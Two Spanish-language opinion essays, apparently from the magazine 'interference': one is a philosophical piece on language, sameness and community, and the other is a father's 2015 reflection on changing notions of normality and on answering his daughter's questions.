El lenguaje se ha convertido, a la hora de comprender al otro, en una dinámica matemática, pero ahora trasladada al ámbito de las relaciones. El lenguaje verbal ha caído, luego de la pretensión posmoderna de medir a todos con la misma vara, en una especie de aplicación matemática. ¿A qué me refiero con esto? Me refiero al hecho de que usamos palabras para designar y calificar comportamientos, para especificar su clase, dentro de unos parámetros que engloban cierto tipo inclinaciones y gustos.

El lenguaje verbal, lejos del cientificismo, es decir, el lenguaje de las palabras, era uno de los últimos espacios en los que era posible aun depositar la fe en relación a algún tipo de libertad. Sin embargo, éste cayó en una trampa y se convirtió en una fórmula matemática. Es así como el lenguaje ha sido limitado y su capacidad creativa se ha ido volviendo cada vez más estrecha ya que ha caído en la matematización. Esto implica que el lenguaje ha caído sin querer, en un deseo de objetivación, es decir, de encontrar lo común dentro de lo que es diferente. Cuando, por encima de todo, el lenguaje verbal tiene la capacidad, y no sólo esto, sino que también lo que lo distingue, es la capacidad de describir lo particular, lo que es diferenciado, describiendo sus detalles concretos, sin tener que aludir a algún concepto, es decir, no tiene que aludir a algún tipo de nube virtual que haga comprender quien es cada quien. Es verdad que el lenguaje puede crear conceptos, pero a diferencia del lenguaje matemático, puede evitar el proceso de abstracción y también centrarse en la descripción de lo particular y lo contingente sin pretensiones conceptuales.

Entonces lo común, en relación a la definición de lo que son las personas, se ha convertido en una nube virtual que no está en ningún lado, pero a la cual se alude para descifrar los alguienes de los demás. Cada uno de los yoes que conforma a la sociedad, está cayendo en los lineamientos de lo cuantificable y medible. Bajo estos puntos de vista, lo común es algo peligroso, ya que excluye lo concreto; lo que se presenta de modo particular y diferenciado todo el tiempo, que es en realidad, la realidad con la cual estamos en contacto. Mejor aún, lo común, bajo esta perspectiva que se viene desarrollando, implica una especie de ilusión, rechaza el hecho del cambio y el desorden en general.

Por otro lado, una mejor propuesta en relación a la comprensión de lo común o de la comunidad, sería aquella en la que cabría la posibilidad de comprender el concepto de comunidad, o de lo común, a partir de las diferencias que conforman a cada uno dentro de una sociedad dada, para que a partir de estas diferencias se cree una unidad a partir de lo diferente que se comparte. En este último caso, lo común tendría sus raíces en el acto de compartir, más no en las similitudes que guardan una serie de individuos. Es así como se pueden distinguir dos clases de comunidades, aquellas en las que lo común está fundado en mi igualdad frente al otro, y la otra, en la que lo que me genera comunidad con el otro, es el deseo del truque espiritual, o, en otras palabras, el compartir.

En relación al primer caso, la individualidad queda anulada, en el segundo caso, dentro de las diferencias y su reconocimiento a la luz, se hace obligatorio el aporte al otro, doy lo que el otro no tiene y me dan lo que yo no tengo a partir del acto de compartir. El reconocimiento del otro sólo puede darse dentro del reconocimiento de mi diferencia con él. En el primer caso, que en primera instancia podría parecer el menos egoísta, es decir, el comportamiento en el que todos somos iguales y de hecho por eso tenemos los mismos derechos, es, sin embargo, el que recae en el individualismo. Esto se debe a que si todos son iguales a mí, y están medidos bajo los mismos criterios, no hay ninguno de ellos que pueda aportarme algo o yo aportarles algo a ellos. En realidad es una comunidad egoísta.

Es así como dentro de la igualdad se anula el reconocimiento de cada individuo, ya que se pone una venda en los ojos de cada uno. Es así como no es posible ver al otro. Bajo los criterios de la homogeneización de los comportamientos dentro de la sociedad, cada uno tiene una venda que prohíbe la visión de los demás, ya que afuera de cada yo, no hay un otro. Y sólo es posible el diálogo, el hecho de encontrarse, a partir de una diferencia.

La soledad no es entonces, el resultado del resalto de las diferencias, sino el producto de una sociedad homogénea. En ésta no hay nada que me encuentre con el otro porque “todos tenemos lo mismo”. Bajo este dominio de lo homogéneo, no puede haber diálogo, ya que nunca se presenta un interlocutor. Éste último no es un eco de mi propio yo, sino un colaborador, un complemento, pero al mismo tiempo un refutador. Si todos tienen lo mismo, cada uno es una burbuja encerrada en sí misma, y así no puede haber curiosidad hacia el mundo externo, ya que todo lo que encontramos en él, resulta ya conocido y se anula la capacidad de sorprenderse.

Es así como las relaciones interpersonales recaen en un proceso de codificación, se vuelven predecibles y matemáticamente cuantificables, no hay nada en el mundo de afuera que pueda sorprendernos. Si dos o más personas se conocen, más vale que se vean como diferentes que como comunes.♦

Ana Marcela Osorio, estudiante de filosofía, está vinculada a interference desde 2015.

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La normalidad de lo contemporáneo http://interferencechannel.com/2015/10/10/la-normalidad-de-lo-contemporaneo/ Sat, 10 Oct 2015 03:55:40 +0000 http://www.interferencechannel.com/?p=1296 + Read More]]>

Los padres la tenemos complicada hoy día, cuando yo nací, hace más de cuarenta años la normalidad era una cosa tácita, creces, estudias, te casas, tienes hijos, nietos, te mueres y hasta allí la historia, eran tiempos en que una licenciatura era percibida como una gran hazaña y las cuestiones “incómodas” no eran muy discutidas que digamos, además no existía ni el internet, ni la televisión por cable, lo que suponía una cierta libertad por parte de los padres para que sus hijos se formasen ajenos a esas otras realidades.

Hoy el asunto cambia, mi hija desde los ocho años ha comenzado  a hacer preguntas que ni su madre ni yo nos hubiésemos atrevido a hacer jamás a los mayores, por ejemplo, una mañana llegó con una citación por parte de su maestra, como tengo por costumbre evaluar bien los hechos antes de comenzar con eso de los regaños, preferí ir directo a hablar con la docente e informarme a fondo de la conducta de mi hija, resulta que todo el lío fue porque ni su maestra ni la directora del colegio (una monja pues es un colegio religioso) pudieron explicarle a la niña el origen de Dios, la niña muy lógicamente pensó que si el espíritu santo creó el cielo, la tierra, la luna, el espacio y toda la vida, debió haber tenido alguien que lo crease.

Nadie en esa escuela estaba preparado para responder tal pregunta, de hecho me costó un par de noches de investigación para poder darle una respuesta coherente que llenase sus expectativas. Afortunadamente soy divorciado de su madre, de otra el asunto hubiese sido más complicado ya que ella si es católica practicante, por tanto también entró en crisis con la “locuacidad” de la niña.

Esa fue una muestra, igual me ha tocado hablar de las drogas, el alcohol, la homosexualidad, el matrimonio igualitario, la transexualidad, religión, la creación, la adopción, mitología griega y latina con sus diferencias, el bien y el mal, el fundamentalismo islámico,  además de un sinfín de temas que se le ocurren cada día.

Lo normal ha cambiado, ya (afortunadamente) el mundo está perdiendo los tapujos, está exhibiendo en la vitrina de los medios sus particularidades sin que a nadie levante la ceja, por tanto toca ver el universo desde una perspectiva diferente, más abierto a la existencia de otras cosas , evitando de paso la natural molestia ante las diferencias. Claro, también toca hacer respetar las opciones de cada quien, así evitamos esa tan incómoda sensación de no soportar a tu vecino pero por un asunto de ser “políticamente correcto” jamás decir nada. Siempre pienso que la gente tiene derecho a decir lo que no le agrada, si no decirlo cuando menos no estar obligados a tener cerca la gente o las situaciones que por alguna razón no están dentro de los parámetros del gusto personal.

Si a mí no me agrada cierto y determinado grupo social (como los travestis por ejemplo) no quiere decir que soy mala persona, si no me gustan las gordas como objeto erótico no necesariamente soy su enemigo, aunque por supuesto hay excepciones, tampoco voy a sacar un alumno de mi clase por su preferencia sexual, religión, color de piel o inclinación política, sin embargo si su inteligencia deja mucho que desear me siento en todo mi derecho de señalarlo, con buenas maneras por supuesto pero en ningún caso tragarme las babosadas de muchos en pro de las buenas maneras, aunque debo confesar que el precio de mis ideas ha sido alto ya que he perdido hasta amores muy queridos, tengo la impresión de que en el momento que dejemos las hipocresías de lado y aceptemos que las diferencias existen, que lo importante al final no son las poses si no las ideas bien fundamentadas, donde lo “normal” solo existe en la mente de cada uno, la verdad es que las diferencias son las que nos acercan pero las ideas nos fortalecen, el mundo será un mundo un poco menos caótico.

Esa ha sido mi tarea con respecto a la crianza, hacer ver a mi hija que todos tenemos cabida pero que solamente el universo del intelecto es el que nos hace mejores personas, siempre y cuando no lastimemos de ninguna manera al prójimo ni le señalemos con el dedo por su estilo de vida, mientras ese prójimo no nos lastime ni lo haga a terceros, no pasa nada, todo es normal, la vida continua y el futuro nos espera♦.

José Ramón Briceño, 2015

@jbdiwancomeback

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